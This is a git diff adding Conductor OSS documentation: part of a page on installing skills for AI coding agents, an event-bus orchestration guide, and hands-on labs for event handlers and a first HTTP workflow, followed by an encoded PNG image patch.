+Workflow started. +- Execution ID: f8a2b3c4-d5e6-7890-abcd-ef1234567890 +- Status: RUNNING +- The order total ($750) exceeds $500, so it's waiting for human review. +``` + +### Step 5: Approve the review + +> *"Approve the review task in execution f8a2b3c4"* + +``` +Task signaled: review → COMPLETED +Workflow is now executing charge_payment. +``` + +### Step 6: Monitor and debug + +> *"Show me all failed order_processing executions from today"* + +``` +Found 2 failed executions: +1. exec-abc — Failed at charge_payment (HTTP 402: Insufficient funds) +2. exec-def — Failed at check_inventory (HTTP 409: Item SKU-200 out of stock) +``` + +> *"Retry exec-abc"* + +``` +Execution exec-abc retried. Status: RUNNING. +``` + +### Step 7: Visualize + +> *"Show me a diagram of order_processing"* + +Your agent renders: + +```mermaid +graph LR + A[validate_order] --> B[check_inventory] + B --> C{totalAmount > 500?} + C -->|Yes| D[human_review WAIT] + C -->|No| E[charge_payment] + D --> E + E --> F[fulfill_order] +``` + + +## Supported agents + +| Agent | Install flag | Global install | Project install | +|---|---|---|---| +| [Claude Code](https://docs.anthropic.com/en/docs/claude-code) | `claude` | Native skill | — | +| [Codex CLI](https://github.com/openai/codex) | `codex` | `~/.codex/AGENTS.md` | `AGENTS.md` | +| [Gemini CLI](https://github.com/google-gemini/gemini-cli) | `gemini` | `~/.gemini/GEMINI.md` | `GEMINI.md` | +| [Cursor](https://cursor.com) | `cursor` | `~/.cursor/skills/` | `.cursor/rules/` | +| [Windsurf](https://codeium.com/windsurf) | `windsurf` | `~/.codeium/windsurf/` | `.windsurfrules` | +| [GitHub Copilot](https://github.com/features/copilot) | `copilot` | — | `.github/copilot-instructions.md` | +| [Cline](https://github.com/cline/cline) | `cline` | — | `.clinerules` | +| [Amazon Q](https://aws.amazon.com/q/developer/) | `amazonq` | — | `.amazonq/rules/` | +| [Aider](https://aider.chat) | `aider` | `~/.conductor-skills/` | `.conductor-skills/` | +| [Roo Code](https://github.com/RooVetGit/Roo-Code) | `roo` | `~/.roo/rules/` | `.roo/rules/` | +| [Amp](https://ampcode.com) | `amp` | `~/.config/AGENTS.md` | `.amp/instructions.md` | +| [OpenCode](https://opencode.ai) | `opencode` | `~/.config/opencode/skills/` | `AGENTS.md` | + + +## Upgrade + +```bash +curl -sSL https://conductor-oss.github.io/conductor-skills/install.sh | bash -s -- --all --upgrade +``` + + +## Next steps + +- **[conductor-skills repository](https://github.com/conductor-oss/conductor-skills)** — Full documentation, more examples, and source code. +- **[Quickstart](../../quickstart/index.md)** — Get a Conductor server running to use with your agent. +- **[AI & Agents](../ai/index.md)** — Build durable AI agent workflows on Conductor. +- **[Client SDKs](../../documentation/clientsdks/index.md)** — Language SDKs for writing workers and programmatic access. diff --git a/docs/devguide/how-tos/event-bus.md b/docs/devguide/how-tos/event-bus.md new file mode 100644 index 0000000..ad33c8e --- /dev/null +++ b/docs/devguide/how-tos/event-bus.md @@ -0,0 +1,234 @@ +--- +description: "Orchestrate event-driven workflows with Conductor using Kafka, NATS, AMQP (RabbitMQ), and SQS as event buses. Configure event handlers to trigger workflows, complete tasks, or fail tasks on incoming events." +--- + +# Event Bus Orchestration + +Conductor integrates with external messaging systems to enable event-driven workflow orchestration. You can publish events from workflows and react to external events — starting workflows, completing tasks, or failing tasks based on incoming messages. + +## Supported event buses + +| System | Sink prefix | Module | Use case | +| :--- | :--- | :--- | :--- | +| **Kafka** | `kafka` | `kafka` | High-throughput, durable event streaming | +| **NATS** | `nats` | `nats` | Lightweight, low-latency messaging | +| **NATS Streaming** | `nats-stream` | `nats-streaming` | Durable NATS with replay (legacy) | +| **NATS JetStream** | `nats` | `nats` | Modern durable NATS streaming | +| **AMQP (RabbitMQ)** | `amqp`, `amqp_queue`, `amqp_exchange` | `amqp` | Traditional message queuing with routing | +| **SQS** | `sqs` | `sqs` | AWS-native message queuing | +| **Conductor** | `conductor` | built-in | Internal event routing between workflows | + + +## How it works + +Event bus orchestration has two sides: + +1. **Publishing** — Use the [Event task](../../documentation/configuration/workflowdef/systemtasks/event-task.md) or [Kafka Publish task](../../documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md) to send messages from a workflow. +2. **Consuming** — Register [event handlers](../../documentation/configuration/eventhandlers.md) that listen for messages and trigger actions. + +``` +┌──────────────┐ Event Task ┌──────────────┐ Event Handler ┌──────────────┐ +│ Workflow A │ ──────────────────► │ Event Bus │ ──────────────────► │ Workflow B │ +│ │ (publish) │ (Kafka/NATS/ │ (start_workflow) │ (triggered) │ +│ │ │ AMQP/SQS) │ │ │ +└──────────────┘ └──────────────┘ └──────────────┘ +``` + + +## Publishing events + +### Event task + +The [Event task](../../documentation/configuration/workflowdef/systemtasks/event-task.md) publishes a message to any supported event bus. The `sink` parameter determines the target: + +```json +{ + "name": "notify_downstream", + "taskReferenceName": "notify_ref", + "type": "EVENT", + "sink": "kafka:order-events", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "status": "PROCESSED" + } +} +``` + +### Kafka Publish task + +For Kafka-specific features (custom headers, key, serializers), use the dedicated [Kafka Publish task](../../documentation/configuration/workflowdef/systemtasks/kafka-publish-task.md): + +```json +{ + "name": "publish_to_kafka", + "taskReferenceName": "kafka_ref", + "type": "KAFKA_PUBLISH", + "inputParameters": { + "kafka_request": { + "topic": "order-events", + "value": "${workflow.input.orderData}", + "bootStrapServers": "kafka:9092", + "headers": { + "X-Correlation-Id": "${workflow.correlationId}" + } + } + } +} +``` + +### Sink format + +The `sink` parameter follows the format `prefix:queue_name`: + +| Example | System | +| :--- | :--- | +| `kafka:order-events` | Kafka topic `order-events` | +| `nats:notifications` | NATS subject `notifications` | +| `amqp:task-queue` | AMQP queue `task-queue` | +| `amqp_exchange:events` | AMQP exchange `events` | +| `sqs:my-queue` | SQS queue `my-queue` | +| `conductor` | Conductor internal queue | +| `conductor:workflow_name:queue_name` | Conductor internal, specific queue | + + +## Consuming events + +### Event handlers + +Event handlers listen for messages on an event bus and execute actions when a matching event arrives. Register them via the `/api/event` API. + +```json +{ + "name": "order_event_handler", + "event": "kafka:order-events", + "condition": "$.status == 'PROCESSED'", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "fulfillment_workflow", + "input": { + "orderId": "${orderId}" + } + } + } + ] +} +``` + +### Supported actions + +| Action | Description | +| :--- | :--- | +| `start_workflow` | Start a new workflow execution with the event payload as input. | +| `complete_task` | Complete a waiting task (e.g., a `WAIT` or `HUMAN` task) in a running workflow. | +| `fail_task` | Fail a task in a running workflow. | + +### Conditions + +The `condition` field supports JavaScript-like expressions evaluated against the event payload: + +| Expression | Result | +| :--- | :--- | +| `$.version > 1` | true if `version` field > 1 | +| `$.metadata.codec == 'aac'` | true if nested field matches | +| `$.status == 'COMPLETED'` | true if status is COMPLETED | + +Actions execute only when the condition evaluates to `true`. If no condition is specified, actions execute for every event. + + +## Patterns + +### Event-driven workflow chaining + +Decouple workflows using events instead of sub-workflows: + +```json +{ + "name": "order_pipeline", + "tasks": [ + { + "name": "process_order", + "taskReferenceName": "process_ref", + "type": "SIMPLE" + }, + { + "name": "notify_fulfillment", + "taskReferenceName": "notify_ref", + "type": "EVENT", + "sink": "kafka:fulfillment-requests", + "inputParameters": { + "orderId": "${workflow.input.orderId}", + "items": "${process_ref.output.items}" + } + } + ] +} +``` + +A separate event handler starts the fulfillment workflow when the event arrives. + +### Wait for external event + +Combine a `WAIT` task with an event handler to pause a workflow until an external system signals completion: + +```json +{ + "name": "wait_for_approval", + "taskReferenceName": "approval_ref", + "type": "WAIT" +} +``` + +Register an event handler that completes the task when an approval event arrives: + +```json +{ + "name": "approval_handler", + "event": "kafka:approval-events", + "condition": "$.approved == true", + "actions": [ + { + "action": "complete_task", + "complete_task": { + "workflowId": "${workflowId}", + "taskRefName": "approval_ref", + "output": { + "approvedBy": "${approvedBy}" + } + } + } + ] +} +``` + + +## Configuration + +Each event bus module requires its own configuration. Enable the modules you need in your Conductor server configuration: + +### Kafka + +```properties +conductor.event-queues.kafka.enabled=true +conductor.event-queues.kafka.bootstrap-servers=kafka:9092 +``` + +### NATS + +```properties +conductor.event-queues.nats.enabled=true +conductor.event-queues.nats.url=nats://localhost:4222 +``` + +### AMQP (RabbitMQ) + +```properties +conductor.event-queues.amqp.enabled=true +conductor.event-queues.amqp.hosts=rabbitmq +conductor.event-queues.amqp.port=5672 +conductor.event-queues.amqp.username=guest +conductor.event-queues.amqp.password=guest +``` + +Refer to the module source code for the full set of configuration properties. diff --git a/docs/devguide/labs/eventhandlers.md b/docs/devguide/labs/eventhandlers.md new file mode 100644 index 0000000..840ea61 --- /dev/null +++ b/docs/devguide/labs/eventhandlers.md @@ -0,0 +1,177 @@ +--- +description: "Event Handlers Lab — hands-on tutorial for publishing events and triggering Conductor workflows with event handlers." +--- +# Events and Event Handlers + +In this exercise, we shall: + +* Publish an Event to Conductor using `Event` task. +* Subscribe to Events, and perform actions: + * Start a Workflow + * Complete Task + +Conductor supports eventing with two Interfaces: + +* [Event Task](../../documentation/configuration/workflowdef/systemtasks/event-task.md) +* [Event Handlers](../../documentation/configuration/eventhandlers.md) + +## Create Workflow Definitions + +Let's create two workflows: + +* `test_workflow_for_eventHandler` which will have an `Event` task to start another workflow, and a `WAIT` System task that will be completed by an event. +* `test_workflow_startedBy_eventHandler` which will have an `Event` task to generate an event to complete `WAIT` task in the above workflow. + +Send `POST` requests to `/metadata/workflow` endpoint with below payloads: + +```json +{ + "name": "test_workflow_for_eventHandler", + "description": "A test workflow to start another workflow with EventHandler", + "version": 1, + "tasks": [ + { + "name": "test_start_workflow_event", + "taskReferenceName": "start_workflow_with_event", + "type": "EVENT", + "sink": "conductor" + }, + { + "name": "test_task_tobe_completed_by_eventHandler", + "taskReferenceName": "test_task_tobe_completed_by_eventHandler", + "type": "WAIT" + } + ] +} +``` + +```json +{ + "name": "test_workflow_startedBy_eventHandler", + "description": "A test workflow which is started by EventHandler, and then goes on to complete task in another workflow.", + "version": 1, + "tasks": [ + { + "name": "test_complete_task_event", + "taskReferenceName": "complete_task_with_event", + "inputParameters": { + "sourceWorkflowId": "${workflow.input.sourceWorkflowId}" + }, + "type": "EVENT", + "sink": "conductor" + } + ] +} +``` + +### Event Tasks in Workflow + +`EVENT` task is a System task, and we shall define it just like other Tasks in Workflow, with `sink` parameter. Also, `EVENT` task doesn't have to be registered before using in Workflow. This is also true for the `WAIT` task. +Hence, we will not be registering any tasks for these workflows. + +### Events are sent, but they're not handled (yet) + +Once you try to start `test_workflow_for_eventHandler` workflow, you would notice that the event is sent successfully, but the second worflow `test_workflow_startedBy_eventHandler` is not started. We have sent the Events, but we also need to define `Event Handlers` for Conductor to take any `actions` based on the Event. Let's create `Event Handlers`. + +## Create Event Handlers + +Event Handler definitions are pretty much like Task or Workflow definitions. We start by name: + +```json +{ + "name": "test_start_workflow" +} +``` + +Event Handler should know the Queue it has to listen to. This should be defined in `event` parameter. + +When using Conductor queues, define `event` with format: + +```conductor:{workflow_name}:{taskReferenceName}``` + +And when using SQS, define with format: + +```sqs:{my_sqs_queue_name}``` + +```json +{ + "name": "test_start_workflow", + "event": "conductor:test_workflow_for_eventHandler:start_workflow_with_event" +} +``` + +Event Handler can perform a list of actions defined in `actions` array parameter, for this particular `event` queue. + +```json +{ + "name": "test_start_workflow", + "event": "conductor:test_workflow_for_eventHandler:start_workflow_with_event", + "actions": [ + "" + ], + "active": true +} +``` + +Let's define `start_workflow` action. We shall pass the name of workflow we would like to start. The `start_workflow` parameter can use any of the values from the general [Start Workflow Request](../../documentation/api/startworkflow.md). Here we are passing in the workflowId, so that the Complete Task Event Handler can use it. + +```json +{ + "action": "start_workflow", + "start_workflow": { + "name": "test_workflow_startedBy_eventHandler", + "input": { + "sourceWorkflowId": "${workflowInstanceId}" + } + } +} +``` + +Send a `POST` request to `/event` endpoint: + +```json +{ + "name": "test_start_workflow", + "event": "conductor:test_workflow_for_eventHandler:start_workflow_with_event", + "actions": [ + { + "action": "start_workflow", + "start_workflow": { + "name": "test_workflow_startedBy_eventHandler", + "input": { + "sourceWorkflowId": "${workflowInstanceId}" + } + } + } + ], + "active": true +} +``` + +Similarly, create another Event Handler to complete task. + +```json +{ + "name": "test_complete_task_event", + "event": "conductor:test_workflow_startedBy_eventHandler:complete_task_with_event", + "actions": [ + { + "action": "complete_task", + "complete_task": { + "workflowId": "${sourceWorkflowId}", + "taskRefName": "test_task_tobe_completed_by_eventHandler" + } + } + ], + "active": true +} +``` + +## Summary + +After wiring all of the above, starting the `test_workflow_for_eventHandler` should: + +1. Start `test_workflow_startedBy_eventHandler` workflow. +2. Sets `test_task_tobe_completed_by_eventHandler` WAIT task `IN_PROGRESS`. +3. `test_workflow_startedBy_eventHandler` event task would publish an Event to complete the WAIT task above. +4. Both the workflows would move to `COMPLETED` state. diff --git a/docs/devguide/labs/first-workflow.md b/docs/devguide/labs/first-workflow.md new file mode 100644 index 0000000..5a792b4 --- /dev/null +++ b/docs/devguide/labs/first-workflow.md @@ -0,0 +1,151 @@ +--- +description: "First Workflow Lab — step-by-step tutorial to create and run your first Conductor workflow using built-in HTTP tasks." +--- +# A First Workflow + +In this article we will explore how we can run a really simple workflow that runs without deploying any new microservice. + +Conductor can orchestrate HTTP services out of the box without implementing any code. We will use that to create and run the first workflow. + +See [System Task](../../documentation/configuration/workflowdef/systemtasks/index.md) for the list of such built-in tasks. +Using system tasks is a great way to run a lot of our code in production. + +## Configuring our First Workflow + +This is a sample workflow that we can leverage for our test. + +```json +{ + "name": "first_sample_workflow", + "description": "First Sample Workflow", + "version": 1, + "tasks": [ + { + "name": "get_population_data", + "taskReferenceName": "get_population_data", + "inputParameters": { + "http_request": { + "uri": "https://datausa.io/api/data?drilldowns=Nation&measures=Population", + "method": "GET" + } + }, + "type": "HTTP" + } + ], + "inputParameters": [], + "outputParameters": { + "data": "${get_population_data.output.response.body.data}", + "source": "${get_population_data.output.response.body.source}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "example@email.com", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0 +} +``` + +This is an example workflow that queries a publicly available JSON API to retrieve some data. This workflow doesn’t +require any worker implementation as the tasks in this workflow are managed by the system itself. This is an awesome +feature of Conductor. For a lot of typical work, we won’t have to write any code at all. + +Let's talk about this workflow a little more so that we can gain some context. + +```json +"name" : "first_sample_workflow" +``` + +This line here is how we name our workflow. In this case our workflow name is `first_sample_workflow` + +This workflow contains just one worker. The workers are defined under the key `tasks`. Here is the worker definition +with the most important values: + +```json +{ + "name": "get_population_data", + "taskReferenceName": "get_population_data", + "inputParameters": { + "http_request": { + "uri": "https://datausa.io/api/data?drilldowns=Nation&measures=Population", + "method": "GET" + } + }, + "type": "HTTP" +} +``` + +Here is a list of fields and what it does: + +1. `"name"` : Name of our worker +2. `"taskReferenceName"` : This is a reference to this worker in this specific workflow implementation. We can have multiple + workers of the same name in our workflow, but we will need a unique task reference name for each of them. Task + reference name should be unique across our entire workflow. +3. `"inputParameters"` : These are the inputs into our worker. We can hard code inputs as we have done here. We can + also provide dynamic inputs such as from the workflow input or based on the output of another worker. We can find + examples of this in our documentation. +4. `"type"` : This is what defines what the type of worker is. In our example - this is `HTTP`. There are more task + types which we can find in the Conductor documentation. +5. `"http_request"` : This is an input that is required for tasks of type `HTTP`. In our example we have provided a well + known internet JSON API url and the type of HTTP method to invoke - `GET` + +We haven't talked about the other fields that we can use in our definitions as these are either just +metadata or more advanced concepts which we can learn more in the detailed documentation. + +Ok, now that we have walked through our workflow details, let's run this and see how it works. + +To configure the workflow, head over to the swagger API of conductor server and access the metadata workflow create API: + +[http://{{ server_host }}/swagger-ui/index.html?configUrl=/api-docs/swagger-config#/metadata-resource/create](http://{{ server_host }}/swagger-ui/index.html?configUrl=/api-docs/swagger-config#/metadata-resource/create) + +If the link doesn’t open the right Swagger section, we can navigate to Metadata-Resource +→ `POST {{ api_prefix }}/metadata/workflow` + +![Swagger UI - Metadata - Workflow](metadataWorkflowPost.png) + +Paste the workflow payload into the Swagger API and hit Execute. + +Now if we head over to the UI, we can see this workflow definition created: + +![Conductor UI - Workflow Definition](uiWorkflowDefinition.png) + +If we click through we can see a visual representation of the workflow: + +![Conductor UI - Workflow Definition - Visual Flow](uiWorkflowDefinitionVisual.png) + +## Running our First Workflow + +Let’s run this workflow. To do that we can use the swagger API under the workflow-resources + +[http://{{ server_host }}/swagger-ui/index.html?configUrl=/api-docs/swagger-config#/workflow-resource/startWorkflow_1](http://{{ server_host }}/swagger-ui/index.html?configUrl=/api-docs/swagger-config#/workflow-resource/startWorkflow_1) + +![Swagger UI - Metadata - Workflow - Run](metadataWorkflowRun.png) + +Hit **Execute**! + +Conductor will return a workflow id. We will need to use this id to load this up on the UI. If our UI installation has +search enabled we wouldn't need to copy this. If we don't have search enabled (using Elasticsearch) copy it from the +Swagger UI. + +![Swagger UI - Metadata - Workflow - Run](workflowRunIdCopy.png) + +Ok, we should see this running and get completed soon. Let’s go to the UI to see what happened. + +To load the workflow directly, use this URL format: + +``` +http://localhost:5000/execution/ +``` + +Replace `` with our workflow id from the previous step. We should see a screen like below. Click on the +different tabs to see all inputs and outputs and task list etc. Explore away! + +![Conductor UI - Workflow Run](workflowLoaded.png) + +## Summary + +In this article — we learned how to run a sample workflow in our Conductor installation. Concepts we touched on: + +1. Workflow creation +2. System tasks such as HTTP +3. Running a workflow via API diff --git a/docs/devguide/labs/img/EventHandlerCycle.png b/docs/devguide/labs/img/EventHandlerCycle.png new file mode 100644 index 0000000000000000000000000000000000000000..49f77aa4722ee01cdeb15821cfc895cc7825e2ae GIT binary patch literal 84952 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 